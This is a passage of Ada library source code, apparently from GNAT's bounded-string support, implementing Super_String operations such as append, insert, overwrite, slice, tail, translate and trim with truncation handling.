Slen : constant Natural := Source'Length;
Max_Length : constant Positive := Target.Max_Length;
begin
if Slen <= Max_Length then
Target.Current_Length := Slen;
Target.Data (1 .. Slen) := Source;
else
case Drop is
when ada.Strings.Right =>
Target.Current_Length := Max_Length;
Target.Data (1 .. Max_Length) :=
Source (Source'First .. Source'First - 1 + Max_Length);
when ada.Strings.Left =>
Target.Current_Length := Max_Length;
Target.Data (1 .. Max_Length) :=
Source (Source'Last - (Max_Length - 1) .. Source'Last);
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Set_Super_String;
------------------
-- Super_Append --
------------------
-- Case of Super_String and Super_String
function Super_Append
(Left : Super_String;
Right : Super_String;
Drop : Truncation := Error) return Super_String
is
Max_Length : constant Positive := Left.Max_Length;
Result : Super_String (Max_Length);
Llen : constant Natural := Left.Current_Length;
Rlen : constant Natural := Right.Current_Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen <= Max_Length then
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Nlen) := Right.Data (1 .. Rlen);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Llen >= Max_Length then -- only case is Llen = Max_Length
Result.Data := Left.Data;
else
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Max_Length) :=
Right.Data (1 .. Max_Length - Llen);
end if;
when ada.Strings.Left =>
if Rlen >= Max_Length then -- only case is Rlen = Max_Length
Result.Data := Right.Data;
else
Result.Data (1 .. Max_Length - Rlen) :=
Left.Data (Llen - (Max_Length - Rlen - 1) .. Llen);
Result.Data (Max_Length - Rlen + 1 .. Max_Length) :=
Right.Data (1 .. Rlen);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Append;
procedure Super_Append
(Source : in out Super_String;
New_Item : Super_String;
Drop : Truncation := Error)
is
Max_Length : constant Positive := Source.Max_Length;
Llen : constant Natural := Source.Current_Length;
Rlen : constant Natural := New_Item.Current_Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen <= Max_Length then
Source.Current_Length := Nlen;
Source.Data (Llen + 1 .. Nlen) := New_Item.Data (1 .. Rlen);
else
Source.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Llen < Max_Length then
Source.Data (Llen + 1 .. Max_Length) :=
New_Item.Data (1 .. Max_Length - Llen);
end if;
when ada.Strings.Left =>
if Rlen >= Max_Length then -- only case is Rlen = Max_Length
Source.Data := New_Item.Data;
else
Source.Data (1 .. Max_Length - Rlen) :=
Source.Data (Llen - (Max_Length - Rlen - 1) .. Llen);
Source.Data (Max_Length - Rlen + 1 .. Max_Length) :=
New_Item.Data (1 .. Rlen);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Append;
-- Case of Super_String and String
function Super_Append
(Left : Super_String;
Right : String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Left.Max_Length;
Result : Super_String (Max_Length);
Llen : constant Natural := Left.Current_Length;
Rlen : constant Natural := Right'Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen <= Max_Length then
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Nlen) := Right;
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Llen >= Max_Length then -- only case is Llen = Max_Length
Result.Data := Left.Data;
else
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Max_Length) :=
Right (Right'First .. Right'First - 1 +
Max_Length - Llen);
end if;
when ada.Strings.Left =>
if Rlen >= Max_Length then
Result.Data (1 .. Max_Length) :=
Right (Right'Last - (Max_Length - 1) .. Right'Last);
else
Result.Data (1 .. Max_Length - Rlen) :=
Left.Data (Llen - (Max_Length - Rlen - 1) .. Llen);
Result.Data (Max_Length - Rlen + 1 .. Max_Length) :=
Right;
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Append;
procedure Super_Append
(Source : in out Super_String;
New_Item : String;
Drop : Truncation := Error)
is
Max_Length : constant Positive := Source.Max_Length;
Llen : constant Natural := Source.Current_Length;
Rlen : constant Natural := New_Item'Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen <= Max_Length then
Source.Current_Length := Nlen;
Source.Data (Llen + 1 .. Nlen) := New_Item;
else
Source.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Llen < Max_Length then
Source.Data (Llen + 1 .. Max_Length) :=
New_Item (New_Item'First ..
New_Item'First - 1 + Max_Length - Llen);
end if;
when ada.Strings.Left =>
if Rlen >= Max_Length then
Source.Data (1 .. Max_Length) :=
New_Item (New_Item'Last - (Max_Length - 1) ..
New_Item'Last);
else
Source.Data (1 .. Max_Length - Rlen) :=
Source.Data (Llen - (Max_Length - Rlen - 1) .. Llen);
Source.Data (Max_Length - Rlen + 1 .. Max_Length) :=
New_Item;
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Append;
-- Case of String and Super_String
function Super_Append
(Left : String;
Right : Super_String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Right.Max_Length;
Result : Super_String (Max_Length);
Llen : constant Natural := Left'Length;
Rlen : constant Natural := Right.Current_Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen <= Max_Length then
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left;
Result.Data (Llen + 1 .. Llen + Rlen) := Right.Data (1 .. Rlen);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Llen >= Max_Length then
Result.Data (1 .. Max_Length) :=
Left (Left'First .. Left'First + (Max_Length - 1));
else
Result.Data (1 .. Llen) := Left;
Result.Data (Llen + 1 .. Max_Length) :=
Right.Data (1 .. Max_Length - Llen);
end if;
when ada.Strings.Left =>
if Rlen >= Max_Length then
Result.Data (1 .. Max_Length) :=
Right.Data (Rlen - (Max_Length - 1) .. Rlen);
else
Result.Data (1 .. Max_Length - Rlen) :=
Left (Left'Last - (Max_Length - Rlen - 1) .. Left'Last);
Result.Data (Max_Length - Rlen + 1 .. Max_Length) :=
Right.Data (1 .. Rlen);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Append;
-- Case of Super_String and Character
function Super_Append
(Left : Super_String;
Right : Character;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Left.Max_Length;
Result : Super_String (Max_Length);
Llen : constant Natural := Left.Current_Length;
begin
if Llen < Max_Length then
Result.Current_Length := Llen + 1;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1) := Right;
return Result;
else
case Drop is
when ada.Strings.Right =>
return Left;
when ada.Strings.Left =>
Result.Current_Length := Max_Length;
Result.Data (1 .. Max_Length - 1) :=
Left.Data (2 .. Max_Length);
Result.Data (Max_Length) := Right;
return Result;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Append;
procedure Super_Append
(Source : in out Super_String;
New_Item : Character;
Drop : Truncation := Error)
is
Max_Length : constant Positive := Source.Max_Length;
Llen : constant Natural := Source.Current_Length;
begin
if Llen < Max_Length then
Source.Current_Length := Llen + 1;
Source.Data (Llen + 1) := New_Item;
else
Source.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
null;
when ada.Strings.Left =>
Source.Data (1 .. Max_Length - 1) :=
Source.Data (2 .. Max_Length);
Source.Data (Max_Length) := New_Item;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Append;
-- Case of Character and Super_String
function Super_Append
(Left : Character;
Right : Super_String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Right.Max_Length;
Result : Super_String (Max_Length);
Rlen : constant Natural := Right.Current_Length;
begin
if Rlen < Max_Length then
Result.Current_Length := Rlen + 1;
Result.Data (1) := Left;
Result.Data (2 .. Rlen + 1) := Right.Data (1 .. Rlen);
return Result;
else
case Drop is
when ada.Strings.Right =>
Result.Current_Length := Max_Length;
Result.Data (1) := Left;
Result.Data (2 .. Max_Length) :=
Right.Data (1 .. Max_Length - 1);
return Result;
when ada.Strings.Left =>
return Right;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Append;
-----------------
-- Super_Count --
-----------------
function Super_Count
(Source : Super_String;
Pattern : String;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural
is
begin
return
Search.Count
(Source.Data (1 .. Source.Current_Length), Pattern, Mapping);
end Super_Count;
function Super_Count
(Source : Super_String;
Pattern : String;
Mapping : Maps.Character_Mapping_Function) return Natural
is
begin
return
Search.Count
(Source.Data (1 .. Source.Current_Length), Pattern, Mapping);
end Super_Count;
function Super_Count
(Source : Super_String;
Set : Maps.Character_Set) return Natural
is
begin
return Search.Count (Source.Data (1 .. Source.Current_Length), Set);
end Super_Count;
------------------
-- Super_Delete --
------------------
function Super_Delete
(Source : Super_String;
From : Positive;
Through : Natural) return Super_String
is
Result : Super_String (Source.Max_Length);
Slen : constant Natural := Source.Current_Length;
Num_Delete : constant Integer := Through - From + 1;
begin
if Num_Delete <= 0 then
return Source;
elsif From > Slen + 1 then
raise Ada.Strings.Index_Error;
elsif Through >= Slen then
Result.Current_Length := From - 1;
Result.Data (1 .. From - 1) := Source.Data (1 .. From - 1);
return Result;
else
Result.Current_Length := Slen - Num_Delete;
Result.Data (1 .. From - 1) := Source.Data (1 .. From - 1);
Result.Data (From .. Result.Current_Length) :=
Source.Data (Through + 1 .. Slen);
return Result;
end if;
end Super_Delete;
procedure Super_Delete
(Source : in out Super_String;
From : Positive;
Through : Natural)
is
Slen : constant Natural := Source.Current_Length;
Num_Delete : constant Integer := Through - From + 1;
begin
if Num_Delete <= 0 then
return;
elsif From > Slen + 1 then
raise Ada.Strings.Index_Error;
elsif Through >= Slen then
Source.Current_Length := From - 1;
else
Source.Current_Length := Slen - Num_Delete;
Source.Data (From .. Source.Current_Length) :=
Source.Data (Through + 1 .. Slen);
end if;
end Super_Delete;
-------------------
-- Super_Element --
-------------------
function Super_Element
(Source : Super_String;
Index : Positive) return Character
is
begin
if Index <= Source.Current_Length then
return Source.Data (Index);
else
raise ada.Strings.Index_Error;
end if;
end Super_Element;
----------------------
-- Super_Find_Token --
----------------------
procedure Super_Find_Token
(Source : Super_String;
Set : Maps.Character_Set;
From : Positive;
Test : ada.Strings.Membership;
First : out Positive;
Last : out Natural)
is
begin
Search.Find_Token
(Source.Data (From .. Source.Current_Length), Set, Test, First, Last);
end Super_Find_Token;
procedure Super_Find_Token
(Source : Super_String;
Set : Maps.Character_Set;
Test : ada.Strings.Membership;
First : out Positive;
Last : out Natural)
is
begin
Search.Find_Token
(Source.Data (1 .. Source.Current_Length), Set, Test, First, Last);
end Super_Find_Token;
----------------
-- Super_Head --
----------------
function Super_Head
(Source : Super_String;
Count : Natural;
Pad : Character := Space;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Source.Max_Length;
Result : Super_String (Max_Length);
Slen : constant Natural := Source.Current_Length;
Npad : constant Integer := Count - Slen;
begin
if Npad <= 0 then
Result.Current_Length := Count;
Result.Data (1 .. Count) := Source.Data (1 .. Count);
elsif Count <= Max_Length then
Result.Current_Length := Count;
Result.Data (1 .. Slen) := Source.Data (1 .. Slen);
Result.Data (Slen + 1 .. Count) := (others => Pad);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
Result.Data (1 .. Slen) := Source.Data (1 .. Slen);
Result.Data (Slen + 1 .. Max_Length) := (others => Pad);
when ada.Strings.Left =>
if Npad >= Max_Length then
Result.Data := (others => Pad);
else
Result.Data (1 .. Max_Length - Npad) :=
Source.Data (Count - Max_Length + 1 .. Slen);
Result.Data (Max_Length - Npad + 1 .. Max_Length) :=
(others => Pad);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Head;
procedure Super_Head
(Source : in out Super_String;
Count : Natural;
Pad : Character := Space;
Drop : Truncation := Error)
is
Max_Length : constant Positive := Source.Max_Length;
Slen : constant Natural := Source.Current_Length;
Npad : constant Integer := Count - Slen;
Temp : String (1 .. Max_Length);
begin
if Npad <= 0 then
Source.Current_Length := Count;
elsif Count <= Max_Length then
Source.Current_Length := Count;
Source.Data (Slen + 1 .. Count) := (others => Pad);
else
Source.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
Source.Data (Slen + 1 .. Max_Length) := (others => Pad);
when ada.Strings.Left =>
if Npad > Max_Length then
Source.Data := (others => Pad);
else
Temp := Source.Data;
Source.Data (1 .. Max_Length - Npad) :=
Temp (Count - Max_Length + 1 .. Slen);
for J in Max_Length - Npad + 1 .. Max_Length loop
Source.Data (J) := Pad;
end loop;
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Head;
-----------------
-- Super_Index --
-----------------
function Super_Index
(Source : Super_String;
Pattern : String;
Going : ada.Strings.Direction := ada.Strings.Forward;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length), Pattern, Going, Mapping);
end Super_Index;
function Super_Index
(Source : Super_String;
Pattern : String;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping_Function) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length), Pattern, Going, Mapping);
end Super_Index;
function Super_Index
(Source : Super_String;
Set : Maps.Character_Set;
Test : ada.Strings.Membership := ada.Strings.Inside;
Going : ada.Strings.Direction := ada.Strings.Forward) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length), Set, Test, Going);
end Super_Index;
function Super_Index
(Source : Super_String;
Pattern : String;
From : Positive;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length),
Pattern, From, Going, Mapping);
end Super_Index;
function Super_Index
(Source : Super_String;
Pattern : String;
From : Positive;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping_Function) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length),
Pattern, From, Going, Mapping);
end Super_Index;
function Super_Index
(Source : Super_String;
Set : Maps.Character_Set;
From : Positive;
Test : Membership := Inside;
Going : Direction := Forward) return Natural
is
begin
return Search.Index
(Source.Data (1 .. Source.Current_Length), Set, From, Test, Going);
end Super_Index;
---------------------------
-- Super_Index_Non_Blank --
---------------------------
function Super_Index_Non_Blank
(Source : Super_String;
Going : ada.Strings.Direction := ada.Strings.Forward) return Natural
is
begin
return
Search.Index_Non_Blank
(Source.Data (1 .. Source.Current_Length), Going);
end Super_Index_Non_Blank;
function Super_Index_Non_Blank
(Source : Super_String;
From : Positive;
Going : Direction := Forward) return Natural
is
begin
return
Search.Index_Non_Blank
(Source.Data (1 .. Source.Current_Length), From, Going);
end Super_Index_Non_Blank;
------------------
-- Super_Insert --
------------------
function Super_Insert
(Source : Super_String;
Before : Positive;
New_Item : String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Source.Max_Length;
Result : Super_String (Max_Length);
Slen : constant Natural := Source.Current_Length;
Nlen : constant Natural := New_Item'Length;
Tlen : constant Natural := Slen + Nlen;
Blen : constant Natural := Before - 1;
Alen : constant Integer := Slen - Blen;
Droplen : constant Integer := Tlen - Max_Length;
-- Tlen is the length of the total string before possible truncation.
-- Blen, Alen are the lengths of the before and after pieces of the
-- source string.
begin
if Alen < 0 then
raise Ada.Strings.Index_Error;
elsif Droplen <= 0 then
Result.Current_Length := Tlen;
Result.Data (1 .. Blen) := Source.Data (1 .. Blen);
Result.Data (Before .. Before + Nlen - 1) := New_Item;
Result.Data (Before + Nlen .. Tlen) :=
Source.Data (Before .. Slen);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
Result.Data (1 .. Blen) := Source.Data (1 .. Blen);
if Droplen > Alen then
Result.Data (Before .. Max_Length) :=
New_Item (New_Item'First
.. New_Item'First + Max_Length - Before);
else
Result.Data (Before .. Before + Nlen - 1) := New_Item;
Result.Data (Before + Nlen .. Max_Length) :=
Source.Data (Before .. Slen - Droplen);
end if;
when ada.Strings.Left =>
Result.Data (Max_Length - (Alen - 1) .. Max_Length) :=
Source.Data (Before .. Slen);
if Droplen >= Blen then
Result.Data (1 .. Max_Length - Alen) :=
New_Item (New_Item'Last - (Max_Length - Alen) + 1
.. New_Item'Last);
else
Result.Data
(Blen - Droplen + 1 .. Max_Length - Alen) :=
New_Item;
Result.Data (1 .. Blen - Droplen) :=
Source.Data (Droplen + 1 .. Blen);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Insert;
procedure Super_Insert
(Source : in out Super_String;
Before : Positive;
New_Item : String;
Drop : ada.Strings.Truncation := ada.Strings.Error)
is
begin
-- We do a double copy here because this is one of the situations
-- in which we move data to the right, and at least at the moment,
-- GNAT is not handling such cases correctly ???
Source := Super_Insert (Source, Before, New_Item, Drop);
end Super_Insert;
------------------
-- Super_Length --
------------------
function Super_Length (Source : Super_String) return Natural is
begin
return Source.Current_Length;
end Super_Length;
---------------------
-- Super_Overwrite --
---------------------
function Super_Overwrite
(Source : Super_String;
Position : Positive;
New_Item : String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Source.Max_Length;
Result : Super_String (Max_Length);
Endpos : constant Natural := Position + New_Item'Length - 1;
Slen : constant Natural := Source.Current_Length;
Droplen : Natural;
begin
if Position > Slen + 1 then
raise Ada.Strings.Index_Error;
elsif New_Item'Length = 0 then
return Source;
elsif Endpos <= Slen then
Result.Current_Length := Source.Current_Length;
Result.Data (1 .. Slen) := Source.Data (1 .. Slen);
Result.Data (Position .. Endpos) := New_Item;
return Result;
elsif Endpos <= Max_Length then
Result.Current_Length := Endpos;
Result.Data (1 .. Position - 1) := Source.Data (1 .. Position - 1);
Result.Data (Position .. Endpos) := New_Item;
return Result;
else
Result.Current_Length := Max_Length;
Droplen := Endpos - Max_Length;
case Drop is
when ada.Strings.Right =>
Result.Data (1 .. Position - 1) :=
Source.Data (1 .. Position - 1);
Result.Data (Position .. Max_Length) :=
New_Item (New_Item'First .. New_Item'Last - Droplen);
return Result;
when ada.Strings.Left =>
if New_Item'Length >= Max_Length then
Result.Data (1 .. Max_Length) :=
New_Item (New_Item'Last - Max_Length + 1 ..
New_Item'Last);
return Result;
else
Result.Data (1 .. Max_Length - New_Item'Length) :=
Source.Data (Droplen + 1 .. Position - 1);
Result.Data
(Max_Length - New_Item'Length + 1 .. Max_Length) :=
New_Item;
return Result;
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Overwrite;
procedure Super_Overwrite
(Source : in out Super_String;
Position : Positive;
New_Item : String;
Drop : ada.Strings.Truncation := ada.Strings.Error)
is
Max_Length : constant Positive := Source.Max_Length;
Endpos : constant Positive := Position + New_Item'Length - 1;
Slen : constant Natural := Source.Current_Length;
Droplen : Natural;
begin
if Position > Slen + 1 then
raise Ada.Strings.Index_Error;
elsif Endpos <= Slen then
Source.Data (Position .. Endpos) := New_Item;
elsif Endpos <= Max_Length then
Source.Data (Position .. Endpos) := New_Item;
Source.Current_Length := Endpos;
else
Source.Current_Length := Max_Length;
Droplen := Endpos - Max_Length;
case Drop is
when ada.Strings.Right =>
Source.Data (Position .. Max_Length) :=
New_Item (New_Item'First .. New_Item'Last - Droplen);
when ada.Strings.Left =>
if New_Item'Length > Max_Length then
Source.Data (1 .. Max_Length) :=
New_Item (New_Item'Last - Max_Length + 1 ..
New_Item'Last);
else
Source.Data (1 .. Max_Length - New_Item'Length) :=
Source.Data (Droplen + 1 .. Position - 1);
Source.Data
(Max_Length - New_Item'Length + 1 .. Max_Length) :=
New_Item;
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Overwrite;
---------------------------
-- Super_Replace_Element --
---------------------------
procedure Super_Replace_Element
(Source : in out Super_String;
Index : Positive;
By : Character)
is
begin
if Index <= Source.Current_Length then
Source.Data (Index) := By;
else
raise Ada.Strings.Index_Error;
end if;
end Super_Replace_Element;
-------------------------
-- Super_Replace_Slice --
-------------------------
function Super_Replace_Slice
(Source : Super_String;
Low : Positive;
High : Natural;
By : String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Source.Max_Length;
Slen : constant Natural := Source.Current_Length;
begin
if Low > Slen + 1 then
raise ada.Strings.Index_Error;
elsif High < Low then
return Super_Insert (Source, Low, By, Drop);
else
declare
Blen : constant Natural := Natural'Max (0, Low - 1);
Alen : constant Natural := Natural'Max (0, Slen - High);
Tlen : constant Natural := Blen + By'Length + Alen;
Droplen : constant Integer := Tlen - Max_Length;
Result : Super_String (Max_Length);
-- Tlen is the total length of the result string before any
-- truncation. Blen and Alen are the lengths of the pieces
-- of the original string that end up in the result string
-- before and after the replaced slice.
begin
if Droplen <= 0 then
Result.Current_Length := Tlen;
Result.Data (1 .. Blen) := Source.Data (1 .. Blen);
Result.Data (Low .. Low + By'Length - 1) := By;
Result.Data (Low + By'Length .. Tlen) :=
Source.Data (High + 1 .. Slen);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
Result.Data (1 .. Blen) := Source.Data (1 .. Blen);
if Droplen > Alen then
Result.Data (Low .. Max_Length) :=
By (By'First .. By'First + Max_Length - Low);
else
Result.Data (Low .. Low + By'Length - 1) := By;
Result.Data (Low + By'Length .. Max_Length) :=
Source.Data (High + 1 .. Slen - Droplen);
end if;
when ada.Strings.Left =>
Result.Data (Max_Length - (Alen - 1) .. Max_Length) :=
Source.Data (High + 1 .. Slen);
if Droplen >= Blen then
Result.Data (1 .. Max_Length - Alen) :=
By (By'Last - (Max_Length - Alen) + 1 .. By'Last);
else
Result.Data
(Blen - Droplen + 1 .. Max_Length - Alen) := By;
Result.Data (1 .. Blen - Droplen) :=
Source.Data (Droplen + 1 .. Blen);
end if;
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end;
end if;
end Super_Replace_Slice;
procedure Super_Replace_Slice
(Source : in out Super_String;
Low : Positive;
High : Natural;
By : String;
Drop : ada.Strings.Truncation := ada.Strings.Error)
is
begin
-- We do a double copy here because this is one of the situations
-- in which we move data to the right, and at least at the moment,
-- GNAT is not handling such cases correctly ???
Source := Super_Replace_Slice (Source, Low, High, By, Drop);
end Super_Replace_Slice;
---------------------
-- Super_Replicate --
---------------------
function Super_Replicate
(Count : Natural;
Item : Character;
Drop : Truncation := Error;
Max_Length : Positive) return Super_String
is
Result : Super_String (Max_Length);
begin
if Count <= Max_Length then
Result.Current_Length := Count;
elsif Drop = ada.Strings.Error then
raise Ada.Strings.Length_Error;
else
Result.Current_Length := Max_Length;
end if;
Result.Data (1 .. Result.Current_Length) := (others => Item);
return Result;
end Super_Replicate;
function Super_Replicate
(Count : Natural;
Item : String;
Drop : Truncation := Error;
Max_Length : Positive) return Super_String
is
Length : constant Integer := Count * Item'Length;
Result : Super_String (Max_Length);
Indx : Positive;
begin
if Length <= Max_Length then
Result.Current_Length := Length;
if Length > 0 then
Indx := 1;
for J in 1 .. Count loop
Result.Data (Indx .. Indx + Item'Length - 1) := Item;
Indx := Indx + Item'Length;
end loop;
end if;
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
Indx := 1;
while Indx + Item'Length <= Max_Length + 1 loop
Result.Data (Indx .. Indx + Item'Length - 1) := Item;
Indx := Indx + Item'Length;
end loop;
Result.Data (Indx .. Max_Length) :=
Item (Item'First .. Item'First + Max_Length - Indx);
when ada.Strings.Left =>
Indx := Max_Length;
while Indx - Item'Length >= 1 loop
Result.Data (Indx - (Item'Length - 1) .. Indx) := Item;
Indx := Indx - Item'Length;
end loop;
Result.Data (1 .. Indx) :=
Item (Item'Last - Indx + 1 .. Item'Last);
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Replicate;
function Super_Replicate
(Count : Natural;
Item : Super_String;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
begin
return
Super_Replicate
(Count,
Item.Data (1 .. Item.Current_Length),
Drop,
Item.Max_Length);
end Super_Replicate;
-----------------
-- Super_Slice --
-----------------
function Super_Slice
(Source : Super_String;
Low : Positive;
High : Natural) return String
is
begin
-- Note: test of High > Length is in accordance with AI95-00128
return R : String (Low .. High) do
if Low > Source.Current_Length + 1
or else High > Source.Current_Length
then
raise Index_Error;
end if;
R := Source.Data (Low .. High);
end return;
end Super_Slice;
function Super_Slice
(Source : Super_String;
Low : Positive;
High : Natural) return Super_String
is
begin
return Result : Super_String (Source.Max_Length) do
if Low > Source.Current_Length + 1
or else High > Source.Current_Length
then
raise Index_Error;
end if;
Result.Current_Length := High - Low + 1;
Result.Data (1 .. Result.Current_Length) := Source.Data (Low .. High);
end return;
end Super_Slice;
procedure Super_Slice
(Source : Super_String;
Target : out Super_String;
Low : Positive;
High : Natural)
is
begin
if Low > Source.Current_Length + 1
or else High > Source.Current_Length
then
raise Index_Error;
else
Target.Current_Length := High - Low + 1;
Target.Data (1 .. Target.Current_Length) := Source.Data (Low .. High);
end if;
end Super_Slice;
----------------
-- Super_Tail --
----------------
function Super_Tail
(Source : Super_String;
Count : Natural;
Pad : Character := Space;
Drop : ada.Strings.Truncation := ada.Strings.Error) return Super_String
is
Max_Length : constant Positive := Source.Max_Length;
Result : Super_String (Max_Length);
Slen : constant Natural := Source.Current_Length;
Npad : constant Integer := Count - Slen;
begin
if Npad <= 0 then
Result.Current_Length := Count;
Result.Data (1 .. Count) :=
Source.Data (Slen - (Count - 1) .. Slen);
elsif Count <= Max_Length then
Result.Current_Length := Count;
Result.Data (1 .. Npad) := (others => Pad);
Result.Data (Npad + 1 .. Count) := Source.Data (1 .. Slen);
else
Result.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Npad >= Max_Length then
Result.Data := (others => Pad);
else
Result.Data (1 .. Npad) := (others => Pad);
Result.Data (Npad + 1 .. Max_Length) :=
Source.Data (1 .. Max_Length - Npad);
end if;
when ada.Strings.Left =>
Result.Data (1 .. Max_Length - Slen) := (others => Pad);
Result.Data (Max_Length - Slen + 1 .. Max_Length) :=
Source.Data (1 .. Slen);
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end Super_Tail;
procedure Super_Tail
(Source : in out Super_String;
Count : Natural;
Pad : Character := Space;
Drop : Truncation := Error)
is
Max_Length : constant Positive := Source.Max_Length;
Slen : constant Natural := Source.Current_Length;
Npad : constant Integer := Count - Slen;
Temp : constant String (1 .. Max_Length) := Source.Data;
begin
if Npad <= 0 then
Source.Current_Length := Count;
Source.Data (1 .. Count) :=
Temp (Slen - (Count - 1) .. Slen);
elsif Count <= Max_Length then
Source.Current_Length := Count;
Source.Data (1 .. Npad) := (others => Pad);
Source.Data (Npad + 1 .. Count) := Temp (1 .. Slen);
else
Source.Current_Length := Max_Length;
case Drop is
when ada.Strings.Right =>
if Npad >= Max_Length then
Source.Data := (others => Pad);
else
Source.Data (1 .. Npad) := (others => Pad);
Source.Data (Npad + 1 .. Max_Length) :=
Temp (1 .. Max_Length - Npad);
end if;
when ada.Strings.Left =>
for J in 1 .. Max_Length - Slen loop
Source.Data (J) := Pad;
end loop;
Source.Data (Max_Length - Slen + 1 .. Max_Length) :=
Temp (1 .. Slen);
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
end Super_Tail;
---------------------
-- Super_To_String --
---------------------
function Super_To_String (Source : Super_String) return String is
begin
return R : String (1 .. Source.Current_Length) do
R := Source.Data (1 .. Source.Current_Length);
end return;
end Super_To_String;
---------------------
-- Super_Translate --
---------------------
function Super_Translate
(Source : Super_String;
Mapping : Maps.Character_Mapping) return Super_String
is
Result : Super_String (Source.Max_Length);
begin
Result.Current_Length := Source.Current_Length;
for J in 1 .. Source.Current_Length loop
Result.Data (J) := Value (Mapping, Source.Data (J));
end loop;
return Result;
end Super_Translate;
procedure Super_Translate
(Source : in out Super_String;
Mapping : Maps.Character_Mapping)
is
begin
for J in 1 .. Source.Current_Length loop
Source.Data (J) := Value (Mapping, Source.Data (J));
end loop;
end Super_Translate;
function Super_Translate
(Source : Super_String;
Mapping : Maps.Character_Mapping_Function) return Super_String
is
Result : Super_String (Source.Max_Length);
begin
Result.Current_Length := Source.Current_Length;
for J in 1 .. Source.Current_Length loop
Result.Data (J) := Mapping.all (Source.Data (J));
end loop;
return Result;
end Super_Translate;
procedure Super_Translate
(Source : in out Super_String;
Mapping : Maps.Character_Mapping_Function)
is
begin
for J in 1 .. Source.Current_Length loop
Source.Data (J) := Mapping.all (Source.Data (J));
end loop;
end Super_Translate;
----------------
-- Super_Trim --
----------------
function Super_Trim
(Source : Super_String;
Side : Trim_End) return Super_String
is
Result : Super_String (Source.Max_Length);
Last : Natural := Source.Current_Length;
First : Positive := 1;
begin
if Side = Left or else Side = Both then
while First <= Last and then Source.Data (First) = ' ' loop
First := First + 1;
end loop;
end if;
if Side = Right or else Side = Both then
while Last >= First and then Source.Data (Last) = ' ' loop
Last := Last - 1;
end loop;
end if;
Result.Current_Length := Last - First + 1;
Result.Data (1 .. Result.Current_Length) := Source.Data (First .. Last);
return Result;
end Super_Trim;
